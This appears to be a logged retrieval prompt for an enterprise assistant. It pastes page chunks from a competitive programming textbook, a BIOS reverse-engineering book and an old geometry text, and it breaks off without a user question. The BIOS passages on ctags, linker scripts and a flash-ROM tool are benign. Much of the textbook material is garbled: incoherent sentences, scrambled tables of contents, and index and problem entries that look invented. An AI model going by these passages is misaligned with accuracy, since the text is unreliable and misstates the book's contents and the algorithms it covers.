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You can access knowledge bases provided in the user's "CONTEXT" and should expertly interpret this information to deliver the most relevant responses. In the "CONTEXT", prioritize information from the text tagged "FEEDBACK:". Your role is to act as an expert at reading the information provided by the user and giving the most relevant information. Prioritize clarity, trustworthiness, and appropriate formality when communicating with enterprise users. If a topic is outside your knowledge scope, admit it honestly and suggest alternative ways to obtain the information. Utilize chat history effectively to avoid redundancy and enhance relevance, continuously integrating necessary details. Focus on providing precise and accurate information in your answers. **Elapsed Time: 0.19 seconds** FINAL QUERY Final Query: CONTEXT: ########## File: Competitive%20Programming%2C%202nd%20Edition%20-%20Steven%20Halim%20%28PDF%29.pdf Page: 167 Context: # Chapter 6 The Human Genome has approximately 3.3 Gig base-pairs — Human Genome Project ## 6.1 Overview and Motivation In this chapter, we present one more topic that is tested in ICPC—although not as frequent as graph and mathematics problems—namely, string processing. String processing is common in the research field of bioinformatics. However, as the strings that researchers deal with are usually extremely large, efficient data structures and algorithms are necessary. Some of these problems are presented as contest problems in ICPC. By mastering the content of this chapter, ICPC contestants will have a better chance at tackling these string processing problems. String processing tasks also appear in IOI, but usually they do not involve restricting data structures or requiring the use of syllabus [I/O] restrictions. Additionally, the input and output format are usually quite simple. The problems in this text tend to combine input/output formatting commonly found in ICPC problems. IOI tasks that require string processing are usually still solvable using the problem-solving paradigms mentioned in Chapter 5. It is straining for most contestants to learn string algorithms as this chapter except Section 6.5 that is concerned with DP. However, we believe that it may be advantageous for IOI contestants to learn some of the more advanced materials outside of their syllabus. ## 6.2 Basic String Processing Skills We begin this chapter by listing several basic string processing skills that every competitive programmer must master. In this section, we give a series of mini tasks that you should solve one after another without skipping. You can use your favorite programming language (C, C++, or Java). Try your best to come up with the subtask, unless default implementations can be found. 1. Given a string consisting of alphabet characters [A-Za-z], digits [0-9], space, and period ('.'), write a program to read that text file line-by-line and encounter a long string first. When two lines are combined, give one possible solution that has the least word of the longest line that is spaced from the first of the current line. There can be up to 30 different strings to look up from various files. A subtask can be learned as follows: - **Input:** The sample input file `file.txt` is shown on the next page: After question 1 (a) and before task 2. #################### File: BIOS%20Disassembly%20Ninjutsu%20Uncovered%201st%20Edition%20-%20Darmawan%20Salihun%20%28PDF%29%20BIOS_Disassembly_Ninjutsu_Uncovered.pdf Page: 287 Context: • -R means traverse the directories recursively starting from the current directory and include in the tag file the source code information from all traversed directories. • * means create tags in the tag file for every file that ctags can parse. Once you've invoked ctags like that, the tag file will be created in the current directory and named tags, as shown in shell snippet 9.8. Shell snippet 9.8 The Tag File pinczakko@opunaga:~/Project/freebios_flash_n_burn> ls -l ... -rw-r--r-- 1 pinczakko users 12794 Aug 8 09:06 tags ... I condensed the shell output in shell snippet 9.8 to save space. Now, you can traverse the source code using vi. I'll start with flash_rom.c. This file is the main file of the flash_n_burn utility. Open it with vi and find the main function within the file. When you are trying to understand a source code, you have to start with the entry point function. In this case, it's main. Now, you can traverse the source code; to do so, place the cursor in the function call that you want to know and then press Ctrl+] to go to its definition. If you want to know the data structure definition for an object,5 place the cursor in the member variable of the object and press Ctrl+]; vi will take you to the data structure definition. To go back from the function or data structure definition to the calling function, press Ctrl+t. Note that these key presses apply only to vi; other text editors may use different keys. As an example, refer to listing 9.2. Note that I condensed the source code and added some comments to explain the steps to traverse the source code. Listing 9.2 Moving flash_n_burn Source Code // -- file: flash_rom.c -- int main (int argc, char * argv[]) { // Irrelevant code omitted (void) enable_flash_write(); // You will find the definition of this // function. Place the cursor in the // enable_flash_write function call, then // press Ctrl+]. // Irrelevant code omitted } 5 An object is a data structure instance. For example if a data structure is named my_type, then a variable of type my_type is an object, as in my_type a_variable; a_variable is an object. #################### File: Competitive%20Programming%2C%202nd%20Edition%20-%20Steven%20Halim%20%28PDF%29.pdf Page: 86 Context: # 3.6 Chapter Notes Many problems in ICPC or IC require one or combinations (see Section 3.2) of these problem-solving paradigms. In this case, we have to summarize a chapter in this book that constitutes how to really matter; we will discuss this more. The main source of the "Complete Search" material in this chapter is the USAO training gateway [2]. We adopt the term "Complete Search" rather than "Brute Force" as we believe that some "Complete Search" solutions can be cleaner and more refined, although it is complete. We refer to the term "Complete Search" as a self-referenting term. We will discuss some advanced search techniques later in Section 3.8, A* Search, Depth Limited Search (DLS), Iterative Deepening Search (IDS), Iterative Deepening A* (IDA*). Divide and conquer paradigm is usually stated in the form of its popular algorithm: binary search and its variants, merge/sort (easy sort), and data structures such as heaps, segment trees, etc. We will see more D&C later in Computational Geometry (Section 7.4). Aside from Greedy and Dynamic Programming (DP) techniques, classical techniques are also included in popular algorithm textbooks, see Introduction to Algorithms [3], Algorithm Design [2], Algorithm [4]. However, to keep pace with the growing difficulties and clarity of these techniques, especially the DP techniques, we include new references from Internet: "Dynamic programming tutorial" [1] and recent programming contests. In this book, we will revisit DP again for one occasion: Forest Wassall's DP algorithm (Section 6.7), P-DAG (implied) DAG (Section 3.17), D-R String (Section 6.5), and Monte Carlo Method (Section 5.4). However, for some real problems, especially those that are classified as NP-Complete [3], many of the approaches discussed so far will not work. For example, Kapsack Problem which has \( O(N^5) \) complexity to know if \( x \) is big PS search (with \( O(N^2 \times 2^K) \) complexity) is too slow if \( N \) is much larger than 10. For such problems, people use heuristics or local search. Tabl Search [14], 3-SAT, Greedy Algorithm, Auto Colony Optimization, Beam Search, etc. These are 19 UVa (14 in the first edition, a 75% increase). There are 32 pages in this chapter. (Also 32 in the first edition, but some content have been recognized to Chapter 4 and 8.) #################### File: Competitive%20Programming%2C%202nd%20Edition%20-%20Steven%20Halim%20%28PDF%29.pdf Page: 166 Context: # 5.10. CHAPTER NOTES © Steven & Felix This page is intentionally left blank to keep the number of pages per chapter even. #################### File: Competitive%20Programming%2C%202nd%20Edition%20-%20Steven%20Halim%20%28PDF%29.pdf Page: 7 Context: # CONTENTS **Steven & Felix** | Topic | In This Book | |-----------------------------------------|------------------------------------| | Data Structures: Union-Find Disjoint Sets | Section 2.3.2 | | Graphs: Pruning, SCSC, Max Flow, Bipartite Graph | Sections 4.2.1, 4.4, 4.7.4 | | Probability, Random Games, Markov Process | Section 5.5, 5.9 | | String Processing: Suffix Tree/Array | Section 6.3 | | Advanced Topics: 0-1 Knapsack | Section 3.5 | **Table 1:** Not in IOI Syllabus [1] Yet We know that one cannot win a medal in IOI just by mastering the current versions of this book. While we believe that parts of the IOI syllabus have been included in this work, which should give you a respectable score in future IOIs — we are well aware that not every topic listed requires more problem-solving skills and creativity that we cannot teach via this book. So, keep practicing! ### Specific to the Teachers/Coaches This book is based on Steven's CS3233 - "Competitive Programming" course in the School of Computing, National University of Singapore. It is contributed in its teaching using the following lesson plan (see Table 2). The PDF files (only the public versions) are also made available on the companion website of this book. This is also a brief introduction to the various exercises in this book in Appendix A. Fellow teachers/coaches are free to modify the lesson plan to suit your students’ needs. | Wk | Topic | In This Book | |----|-----------------------------------------|------------------------------------| | 01 | Introduction | Chapter 1 | | 02 | Data Structures & Libraries | Chapter 2 | | 03 | Graphs: Search, Divide & Conquer, Greedy | Chapter 3.2.3 | | 04 | Dynamic Programming | Basic Ideas | Section 3.3 | | 05 | Graph 2: DFS/BFS | Chapters 4.1 up to Section 4.3 | | 06 | Graph 3: Shortest Paths (DAG-Tree) | Section 4.4-4.5, 4.7-4.12 | | 07 | **Mid semester exam content** | | | 08 | Dynamic Programming 2 (More Techniques) | Section 6.5.3 | | 09 | Graphs 3 (Max Flow; Bipartite Graph) | Section 6.4.3, 4.7.4 | | 10 | Mathematics (Overview) | Chapter 5 | | 11 | Programming (Recursive Ideas, Suffix Array) | Chapter 6 | | 12 | Computational Geometry (Libraries) | Chapter 7 | | | **Final exam content** | All, including Chapter 8 | **Table 2:** Lesson Plan ## To All Readers Due to the diversity of this content, this book is not meant to be read once, but several times. There are sections where the problems provided can be tackled throughout the book, but certain chapters may be skipped if it's the solution is more crucial to that part of the text. The authors have structured the content assuming that the reader has the ability to review the concepts outlined in this book as they encounter increasingly intricate twists as we advance. Make sure to pay attention to detailed instructions as you work through the chapters. We will also be releasing additional content throughout and alongside the school students as IPC will be using this book to address more challenges after mastering this book. But before you assume anything, please check this book's table of contents to see what we mean by "basic." #################### File: Competitive%20Programming%2C%202nd%20Edition%20-%20Steven%20Halim%20%28PDF%29.pdf Page: 228 Context: # 8.5. CHAPTER NOTES © Steven & Felis This page is intentionally left blank to keep the number of pages per chapter even. #################### File: BIOS%20Disassembly%20Ninjutsu%20Uncovered%201st%20Edition%20-%20Darmawan%20Salihun%20%28PDF%29%20BIOS_Disassembly_Ninjutsu_Uncovered.pdf Page: 76 Context: The preceding sections definition matches the layout shown in figure 3.4 because the output of the makefile in listing 3.3 is a flat binary file. The SECTION keyword starts the section definition. The .text keyword starts the text section definition, the .rodata keyword starts the read-only data section definition, the .data keyword starts the data section definition, and the .bss keyword starts the base stack segment section. The ALIGN keyword is used to align the starting address of the corresponding section definition to some predefined multiple of bytes. In the preceding section definition, the sections are aligned to a 4-byte boundary except for the text section. The name of the sections can vary depending on the programmer's will. However, the naming convention presented here is encouraged for clarity. Return to the linker script invocation again in listing 3.3: $(LD) $(LDFLAGS) -o $(ROM_OBJ) $(OBJS) In the preceding linker invocation, the output from the linker is another object file represented by the ROM_OBJ constant. How are you going to obtain the flat binary file? The next line and previously defined flags in the makefile clarify this: OBJCOPY= objcopy OBJCOPY_FLAGS= -v -O binary # irrelevant lines omitted... $(OBJCOPY) $(OBJCOPY_FLAGS) $(ROM_OBJ) $(ROM_BIN) In these makefile statements, a certain member of GNU binutils called objcopy is producing the flat binary file from the object file. The -O binary in the OBJCOPY_FLAGS informs the objcopy utility that it should emit the flat binary file from the object file previously linked by the linker. However, it must be noted that objcopy merely copies the relevant content of the object file into the flat binary file; it doesn't alter the layout of the sections in the linked object file. The next line in the makefile is as follows: build_rom $(ROM_BIN) $(ROM_SIZE) This invokes a custom utility to patch the flat binary file into a valid PCI expansion ROM binary. Now you have mastered the basics of using the linker script to generate a flat binary file from C source code and assembly source code. Venture into the next chapters. Further information will be presented in the PCI expansion ROM section of this book. 13 #################### File: Competitive%20Programming%2C%202nd%20Edition%20-%20Steven%20Halim%20%28PDF%29.pdf Page: 14 Context: ListofTables1NotinIOISyllabus[10]Yet................................vii2LessonPlan.........................................vii1.1RecentACMICPCAsiaRegionalProblemTypes...................41.2Exercise:ClassifyTheseUVaProblems.........................51.3ProblemTypes(CompactForm).............................51.4RuleofThumbforthe‘WorstACAlgorithm’forvariousinputsizen........62.1ExampleofaCumulativeFrequencyTable........................353.1RunningBisectionMethodontheExampleFunction..................483.2DPDecisionTable.....................................603.3UVa108-MaximumSum.................................624.1GraphTraversalAlgorithmDecisionTable........................824.2FloydWarshall’sDPTable................................984.3SSSP/APSPAlgorithmDecisionTable..........................1005.1Part1:Findingkλ,f(x)=(7x+5)%12,x0=4.....................1435.2Part2:Findingμ......................................1445.3Part3:Findingλ......................................1446.1Left/Right:Before/AfterSorting;k=1;InitialSortedOrderAppears........1676.2Left/Right:Before/AfterSorting;k=2;‘GATAGACA’and‘GACA’areSwapped...1686.3BeforeandAftersorting;k=4;NoChange.......................1686.4StringMatchingusingSuffixArray............................1716.5ComputingtheLongestCommonPrefix(LCP)giventheSAofT=‘GATAGACA’..172A.1Exercise:ClassifyTheseUVaProblems.........................213xiv #################### File: Competitive%20Programming%2C%202nd%20Edition%20-%20Steven%20Halim%20%28PDF%29.pdf Page: 16 Context: # LIST OF FIGURES **© Steven & Hilda** --- ## 4.19 Playard Wanhal's Explanation . . . . . . . . . . . . . . . . . . . . . . . . . 97 ## 4.20 Illustration of a Max Flow Problem (from UVA 320 [8]) - ICPC World Final 2000 Problem E . . . . . . . . . 102 ## 4.21 Random Variables Implicit and Explicit DFS in SL . . . . . . . . . . . . 107 ## 4.22 What are the E-Hole Flow of these two/three residual graphs? . . . . 109 ## 4.23 Residual Graph of UVA 329 (p) . . . . . . . . . . . . . . . . . . . . . . . 109 ## 4.24 Vertex Splitting Technique . . . . . . . . . . . . . . . . . . . . . . . . 110 ## 4.25 Comparison Between the Max Independent Paths versus Max Edge-Disjoint Paths . . . . . . . . . . . . . . . . 112 ## 4.26 Graphs of (Con-)DAG, Tree, Eulerian, Bipartite Graphs . . . . . . . . . . 120 ## 4.27 Example of Counting Paths in DAG . . . . . . . . . . . . . . . . . . . . 129 ## 4.28 The Green General Graph (Tree) (left) Converted to DAG . . . . . . . . . 132 ## 4.29 ASPM (ASP)-B, 12-Diameter . . . . . . . . . . . . . . . . . . . . . . . 143 ## 4.30 Bellman . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 145 ## 4.31 Bipartite Matching Problem can be reduced to a Max Flow problem . . . . . . . . . . . . . . . . . . . 115 ## 4.32 MCMF Variants . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 117 ## 4.33 Alternating Path Algorithm . . . . . . . . . . . . . . . . . . . . . . . 119 --- 1. **Suffix Array:** - Suffix Tree, Trie and Suffix Tree of `*` and `*TARGETCAT* (byte → **T)** 2. **Suffix Matching:** - Suffix Matching of `*TARGETCAT*` with Various Pattern Strings . 3. **Largest Suggested Substring for `*TARGETCAT*` and their LCS . . . . . . . 122 - General Suffix Tree for `*TARGETCAT*` 4. **The Suffix Array: LCP, and convert it to `*TARGETCAT.CAT*`** --- ### 2.1 Distance to Line (Segment) and Line Segment (right) . . . . . . . . . . 181 ### 2.2 Circle Through 2 Points and Tangents . . . . . . . . . . . . . . . 182 ### 2.3 Circle Through 3 Points and Ratios . . . . . . . . . . . . . . . . 183 ### 2.4 Incircle and Circumcircle of a Triangle . . . . . . . . . . . . . . 184 ### 2.5 Points: Middle, Hemispherical and Great-Circle, Right Displace (Arc to Arc) . . . . . . . 186 ### 2.6 Circle: Radius, Point, Angle vs Point (point) . . . . . . . . . . . 188 ### 2.7 Circle Based Arc, Centered, Inside: Inside . . . . . . . . . . . . 190 ### 2.8 Path vs Path from Slices . . . . . . . . . . . . . . . . . . . . 192 ### 3.1 Instructions for ACM ICPC WF2009 - A A Careful Approach . . . . . 213 ### 3.2 An Example of Chaos Proforma Problems . . . . . . . . . . . . . . . . 216 ### 3.3 The Dream Proof . . . . . . . . . . . . . . . . . . . . . . . . . . . 219 ### 3.4 Instructions for ACM ICPC WF2010 - A Sharing Challenge . . . . . 221 --- - **B**: Stevens & Hilda's references in this book are integrated in a full . . . . . 226 - **B**: Steven’s & Hilda’s papers in UVA online judge (2004-present) . . . . 228 --- **xvi** #################### File: Competitive%20Programming%2C%202nd%20Edition%20-%20Steven%20Halim%20%28PDF%29.pdf Page: 170 Context: # 6.3 AD HOC STRING PROCESSING PROBLEMS © Steven & Felix 1. UVA 0038 - Wet Santa (read the story from left to right) 2. UVA 0042 - Pig Latin (read the text, similar to UVA 683) 3. UVA 0161 - Die Hard (reverse the given formula and calculate) 4. UVA 0291 - Substring Inclusion (string matching over common patterns) 5. UVA 0370 - Bard's Tale (just simulate the process) 6. UVA 0376 - Cypher Block (perform a one-time key setup) 7. UVA 0550 - Cry for Help (multiple access keys for each slot) 8. UVA 1061 - Decode the Math (simple decoding mechanism) 9. UVA 1151 - 2D Bi-Di Morphing (use 'S' or 'N' to read from bottom) 10. UVA 1192 - Decode the Phrase (count possible solutions, needs tokenizer) 11. UVA 1207 - The Lonely Type (map QWERTY keys to PVOVARI keys) 12. UVA 1135 - The Mined Code (read the data and manipulate) 13. UVA 1167 - Partial Cipher (broke the description, a bit tedious) 14. UVA 1176 - Digital Fortress (simple decipher) 15. UVA 1179 - Normal Hilbert's (difficult to obtain solutions) ## Prerequisite Counting 1. UVA 0003 - Word Problem (get letter fre of each word, compare with puzzle line) 2. UVA 0021 - Password Search (read by the user, count each frequency) 3. UVA 1006 - What’s Cryptography? (character frequency count) 4. UVA 1015 - Can you find the Frequency? (count the frequency of each alphabet) 5. UVA 1016 - The Encrypted Transaction (simple pattern distribution) 6. UVA 1250 - GCD / GUN/GCD (simulate the frequency addition in times) 7. UVA 1032 - Prime Frequency (count letters to frequency of appearances) 8. UVA 1033 - I can decode it ... (problem does not hide this case problem) 9. UVA 1137 - Lettering (string/word length problem) ## Input Format 1. UVA 0081 - Simple Syntax (syntax checker, line by line) 2. UVA 1057 - Parsing Legal Person... (fill in the rules related to description) 3. UVA 1082 - Parsing G... (challenges for certain legal persons) 4. UVA 1092 - Stringology (complex parsing) 5. UVA 1233 - Grammar Problem (transcribed BNF) 6. UVA 0073 - The MITM Attack (require grammar check/exhaust) 7. UVA 1151 - Multiple Rules... (extend parsing rules counting) 8. UVA 1034 - Internal Structure (text processing grammar check) 9. UVA 1184 - Number of Parts (recursive parsing plus counting) #################### File: BIOS%20Disassembly%20Ninjutsu%20Uncovered%201st%20Edition%20-%20Darmawan%20Salihun%20%28PDF%29%20BIOS_Disassembly_Ninjutsu_Uncovered.pdf Page: 324 Context: implementation of the flash ROM chip handler exists in the support file for each type of flash ROM. • flash.h. This file contains the definition of a data structure named flashchip. This data structure contains the function pointers and variables needed to access the flash ROM chip. The file also contains the vendor identification number and device identification number for the flash ROM chip that bios_probe supports. • error_msg.h. This file contains the display routine that declares error messages. • error_msg.c. This file contains the display routine that implements error messages. The error-message display routine is regarded as a helper routine because it doesn't posses anything specific to bios_probe. • direct_io.h. This file contains the declaration of functions related to bios_probe device driver. Among them are functions to directly write and read from the hardware port. • direct_io.c. This file contains the implementation of functions declared in direct_io.h and some internal functions to load, unload, activate, and deactivate the device driver. • jedec.h. This file contains the declaration of functions that is "compatible" for flash ROM from different manufacturers and has been accepted as the JEDEC standard. Note that some functions in jedec.h are not just declared but also implemented as inline functions. • jedec.c. This file contains the implementation of functions declared in jedec.h. • Flash_chip_part_number.c. This is not a file name but a placeholder for the files that implement flash ROM support. Files of this type are w49f002u.c, w39v040fa.c, etc. • Flash_chip_part_number.h. This is not a file name but a placeholder for the files that declare flash ROM support. Files of this type are w49f002u.h, w39v040fa.h, etc. Consider the execution flow of the main application. First, remember that with ctags and vi you can decipher program flow much faster than going through the files individually. Listing 9.12 shows the condensed contents of flash_rom.c. Listing 9.12 Condensed flash_rom.c /* * flash_rom.c: Flash programming utility for SiS 630/950 M/Bs * * * Copyright 2000 Silicon Integrated System Corporation * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License as * published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * ... #################### File: Competitive%20Programming%2C%202nd%20Edition%20-%20Steven%20Halim%20%28PDF%29.pdf Page: 136 Context: # 48. CHAPTER NOTES © Steven & Felix This page is intentionally left blank to keep the number of pages per chapter even. #################### File: BIOS%20Disassembly%20Ninjutsu%20Uncovered%201st%20Edition%20-%20Darmawan%20Salihun%20%28PDF%29%20BIOS_Disassembly_Ninjutsu_Uncovered.pdf Page: 363 Context: Before I show you the content of these new files, I explain the changes that I made to accommodate this new feature in the other source code files. The first change is in the main file of the user-mode application: flash_rom.c. I added three new input commands to read, write, and erase the contents of PCI expansion ROM. Listing 9.29 Changes in flash_rom.c to Support PCI Expansion ROM /* * file: flash_rom.c */ // Irrelevant code omitted #include "pci_cards.h" // Irrelevant code omitted void usage(const char *name) { printf("usage: %s [-rwv] [-c chipname][file]\n", name); printf(" %s -pcir [file]\n", name); printf(" %s -pciw [file]\n", name); printf(" %s -pcie \n", name); printf( "-r: read flash and save into file\n" "-rv: read flash, save into file and verify result " "against contents of the flash\n" "-w: write file into flash (default when file is " "specified)\n" "-wv: write file into flash and verify result against" " original file\n" "-c: probe only for specified flash chip\n" "-pcir: read pci ROM contents to file\n" "-pciw: write file contents to pci ROM and verify the " "result\n" "-pcir: read pci ROM contents to file\n" "-pcie: erase pci ROM contents\n"); exit(1); } // Irrelevant code omitted int main (int argc, char * argv[]) { // Irrelevant code omitted } else if(!strcmp(argv[1],"-pcir")) { pci_rom_read = 1; filename = argv[2]; } else if(!strcmp(argv[1],"-pciw")) { pci_rom_write = 1; filename = argv[2]; } else if(!strcmp(argv[1],"-pcie")) { #################### File: Analytic%20Geometry%20%281922%29%20-%20Lewis%20Parker%20Siceloff%2C%20George%20Wentworth%2C%20David%20Eugene%20Smith%20%28PDF%29.pdf Page: 5 Context: # CONTENTS ## Chapter I: Introduction 1 ## Chapter II: Geometric Magnitudes 15 ## Chapter III: loci and their Equations 33 ## Chapter IV: The Straight Line 51 ## Chapter V: The Circle 59 ## Chapter VI: Transformation of Coordinates 109 ## Chapter VII: The Parabola 115 ## Chapter VIII: The Ellipse 137 ## Chapter IX: The Hyperbola 167 ## Chapter X: Conics in General 193 ## Chapter XI: Polar Coordinates 209 ## Chapter XII: Higher Plane Curves 217 ## Chapter XIII: Point, Plane, and Line 237 ## Chapter XIV: Surfaces 265 ## Supplement 283 ## Note on the History of Analytic Geometry 287 ## Index 289 #################### File: Competitive%20Programming%2C%202nd%20Edition%20-%20Steven%20Halim%20%28PDF%29.pdf Page: 27 Context: # 1.2 TIPS TO BE COMPETITIVE ### © Steven & Felix 1. For multiple test cases, you should include two identical sample test cases consecutively. Both must output the same correct results. This is to check whether you have forgotten to initialize some variables, which will be easily identified if the test case produces the correct output but the second does not. 2. Your test cases must include edge cases. Increase the input size incrementally up to the maximum possible stated in problem description. Sometimes your program works for small input sizes, but behaves wrongly (or slowly) when input size increases. Check carefully, out of bounds, if that happens. 3. You must not include trivial cases. Think like the problem setter! Identify cases that are the "hidden" in the problem description. Some typical examples are: - \( N = 0 \) - \( N = 1 \) - A maximum value or a problem description. 4. Do not assume that input will always be nicely formatted if the problem describes cases, too. Be strict, especially for badly written problems. Try experimenting in the time from when you might typically check your code to see if it works—there is no need to verify that your code runs during that time. 5. Finally, generate large test cases to see if your code continues to run fast and give reasonably correct outputs—the constraints you have will help you optimize. However, after all these steps, you may still get non-AC responses. In ICPC, you and your team can actually use the judge's response to determine your next action. With more experience in such contexts, you will be able to make better judgments. See the next exercises: ### Exercise 1.2.4: Simple Judging (Mastly in ICPC setting). This is not relevant to 101. 1. You received a WA response for a very easy problem. What should you do? - (a) Abandon this problem and do another. - (b) Improve the performance of your solution (optimize the code or use better algorithm). - (c) Create test cases and find the bug. - (d) In team context: Ask another member of your team to re-do this problem. 2. You receive a TLE response for an easy \( O(N) \) solution. However, maximum \( N \) is just 100. What should you do? - (a) Abandon this problem and do another. - (b) Improve the performance of your solution (optimize the code or use better algorithm). - (c) Triple-check test cases and find the bug. 3. You encounter an RF (refused) response. Your code runs OK in your machine. What should you do? - (a) Abandon the problem with WA code, switch to that other problem in attempt to solve another problem. - (b) It is ICPC: Print the WA code. Ask two other team members to scrutinize the code for mistakes. What should your (team) do? #################### File: Competitive%20Programming%2C%202nd%20Edition%20-%20Steven%20Halim%20%28PDF%29.pdf Page: 3 Context: # CONTENTS © Steven & Felix ## 5 Combinatorics 5.1 Fibonacci Numbers ............................................. 129 5.2 Binomial Coefficients .......................................... 132 5.3 Catalan Numbers ................................................ 134 5.4 Other Combinatorics ........................................... 144 ## 5.5 Number Theory 5.5.1 Prime Numbers .............................................. 133 5.5.2 Greatest Common Divisor (GCD) & Least Common Multiple (LCM) .... 135 5.5.3 Finding Prime Factors with Optimized Trial Divisions ......... 138 5.5.4 Working with Prime Factors .................................. 139 5.5.5 Functions Involving Prime Factors ............................. 143 5.5.6 Extended Euclid: Solving Linear Diophantine Equations ..... 142 5.5.7 Other Number Theoretic Problems .............................. 142 ## 5.6 Probability Theory 5.6.1 Cycle-Counting ................................................ 145 5.6.2 Storing Strings: Efficient Data Structure ...................... 148 5.6.3 Fredy’s Cycle-Finding Algorithm ................................ 148 ## 5.7 Game Theory 5.7.1 Decision Tree ................................................. 149 5.7.2 Numerical Insights to Speed-up the Solution ................. 149 5.7.3 Nash Equilibrium ............................................... 150 5.7.4 Power of a (Square) Matrix .................................... 147 5.7.5 The Idea of Efficient Exponentiation ......................... 147 5.7.6 Square Matrix Exponentiation ................................. 148 ## 5.10 Chapter Notes ................................................. 148 ## 6 String Processing 6.1 Overview and Motivation ........................................ 151 6.2 Base String Processing Skills .................................. 152 6.3 And String Processing Problems ................................ 152 ## 6.4 String Matching 6.4.1 Knuth-Morris-Pratt (KMP) Algorithm ......................... 153 6.4.2 String Matching in a 2D Grid ................................ 155 ## 6.5 String Processing with Dynamic Programming .................. 157 6.5.1 String Alignment (Edit Distance) ........................... 158 6.5.2 Longest Common Subsequence ................................. 161 ## 6.6 Pillow 6.6.1 Suffic Tree/Array Applications ............................... 162 6.6.2 Suffic Tree ................................................... 163 6.6.3 Applications of Suffic Tree .................................. 164 6.6.4 Applications of Suffic Array .................................. 174 ## 6.7 Chapter Notes ................................................. 171 ## 7 (Computational) Geometry 7.1 Overview and Motivation ........................................ 175 7.2 Basic Geometric Objects with Libraries ......................... 176 7.2.1 2D Objects: Points .......................................... 177 7.2.2 1D Objects: Lines ............................................. 177 #################### File: Competitive%20Programming%2C%202nd%20Edition%20-%20Steven%20Halim%20%28PDF%29.pdf Page: 249 Context: ``` # INDEX ## LA 2001 - Editor, 173 ## LA 3001 - Title Code, 132 ## LA 3190 - Project Controls, 128 ## LA 3899 - The Expert Consultant, 129 ## LA 3900 - Intermediaries, 83 ## LA 4001 - MODX, 128 ## LA 4110 - APQP, 211 ## LA 4200 - Racing, 60 ## LA 4300 - Space Eco-Folk, 132 ## LA 4310 - Expert Funnels, 61 ## LA 4401 - Create X-Philanthropy, 155 ## LA 4600 - JCPT Team Strategy, 211 ## LA 4701 - Hybrid Project Framework, 15 ## LA 4821 - Soft Skills, 128 ## LA 4822 - Expert as a Marital Man, 13 ## LA 4824 - Curatives of Pricings, 82 ## LA 4901 - Shopping Don’s Day, 128 ## LA 4910 - Planning 101, 28 ## LA 4912 - Non-Compete Law, 211 ## LA 4939 - Other, 21 ## LA 4999 - Tech, 118 ## LA 6001 - Part I: Editor, 94 ## LA 6191 - Book Bill, 45 ## LA 6201 - Unlocked Projects, 210 ## LA 6701 - Transactions, 94 ## LA 6771 - Strategic Approach, 302 ## LA 6810 - Business Analysis, 125 ## LA 6821 - Surviving Apoplexy, 139 ## LA 6901 - Guidelines, 292 ## LA 6902 - Informal Policy, 90 ## LA 7001 - The Landers, 21 ## LA 7711 - Shark's Chocolate, 210 ## LA 7731 - Designing, 65 ## LA 7831 - Sakes, 45 ## LA 8841 - String Popping, 45 ## LA 854 - Password, 46 ## LA 921 - MBIT Aptitudes, 132 ## LA 982 - Burnout Study, 80 ## LA 9931 - Overlapping Scenes, 46 ## LA 2000 - Undertaker Scribes, 212 ## LA 2100 - Lawrence’s Lessons, 184 ## LA 2699 - Last Common Multiple, 135 ## LA 4011 - Build Turn Test ex. CCW Test, 141 ## LA 2201 - Linear Disproportionate Equation, 117 ## LA 2700 - Link List, 22 ## LA 2800 - Live Archive, 12 ## LA 2900 - Caution Subset, 161 ## LA 3000 - Longest Constant Subsequence, 61 ## LA 3001 - Lowest Common Ancestor, 113 ### Authors - **Author:** LA, 153 - **Math:** LA, 199 ### Max Flow - Max Flow with Vertex Capacities, 105 - Maximum Edge-Disjoint Paths, 106 - Min Cost Max Flow, 105 - Min Cut, 41 - Multi-source Multi-sink Max Flow, 105 - Minimum Spanning Tree, 86 - Partial Minimum Spanning Tree, 86 - Second Best Spanning Tree, 87 - Monte Carlo Arithmetic, 118 - Myers, Gene, 159 ## Optimal Play ### Palindrome: 121 ### Pascal, Blaise, 128 ### Perfect Play, 145 ``` #################### File: Competitive%20Programming%2C%202nd%20Edition%20-%20Steven%20Halim%20%28PDF%29.pdf Page: 4 Context: ``` # CONTENTS © Steven & Felix ## 7.2 2D Objects ### 7.2.1 2D Objects: Circles ............................ 181 ### 7.2.2 2D Objects: Triangles .......................... 183 ### 7.2.3 2D Objects: Quadrilaterals ...................... 185 ### 7.2.4 2D Objects: Spheres ............................ 186 ### 7.2.5 2D Objects: Others ............................. 187 ### 7.3 Polygons with Interior Points ..................... 188 #### 7.3.1 Polygon Representation ........................ 188 #### 7.3.2 Perimeter of a Polygon ........................ 189 #### 7.3.3 Area of a Polygon ............................. 189 #### 7.3.4 Checking if a Point is Inside a Polygon ....... 190 #### 7.3.5 Cutting a Polygon with a Straight Line ........ 190 #### 7.3.6 Finding the Convex Hull of a Set of Points ...... 191 #### 7.3.7 Polygon and Couple Revisited ................... 191 ### 7.4 Divide and Conquer Revisited ...................... 191 ### 7.5 Chapter Notes ..................................... 195 ## 8 More Advanced Topics ................................. 197 ### 8.1 Overview and Motivation ........................... 197 ### 8.2 Problem Decomposition ............................ 197 #### 8.2.1 Two Components: Binary Search the Answer and Other .. 199 #### 8.2.2 Two Components: SSSP and DP .................. 199 #### 8.2.3 Two Components: Involving Graphs .............. 200 #### 8.2.4 Two Components: Involving Mathematics ......... 200 #### 8.2.5 Three Components: Puzzle Factors, DP, Binary Search .. 201 #### 8.2.6 Three Components: Complete Search, Binary Search, Greedy 203 ### 8.3 More Advanced Search Techniques ................... 203 #### 8.3.1 Informed Search A* ............................ 203 #### 8.3.2 Depth Limited Search .......................... 204 #### 8.3.3 Iterative Deepening A* (IDA*) ................. 204 ### 8.4 Advanced Dynamic Programming Techniques ........... 205 #### 8.4.1 Emerging Techniques: DP + Instructions ........ 206 #### 8.4.2 Classic Forward/Backwards Propagation Problem .. 206 #### 8.4.3 Compilation of Common DP Stats ................ 207 #### 8.4.4 MILP/ILP: Better Data Representation! .......... 208 #### 8.4.5 "If You Don't Drop One Parameter, Remove!" from Others! 209 #### 8.4.6 Your Parameter Values Go Negative? Use Offset Techniques! 210 ### 8.5 Chapter Notes ..................................... 211 ## A Hints/Brief Solutions ................................. 213 ## B stlunt ............................................... 225 ## C Credits .............................................. 227 ## D Plan for the Third Edition .......................... 228 Bibliography ............................................... 229 ``` #################### File: 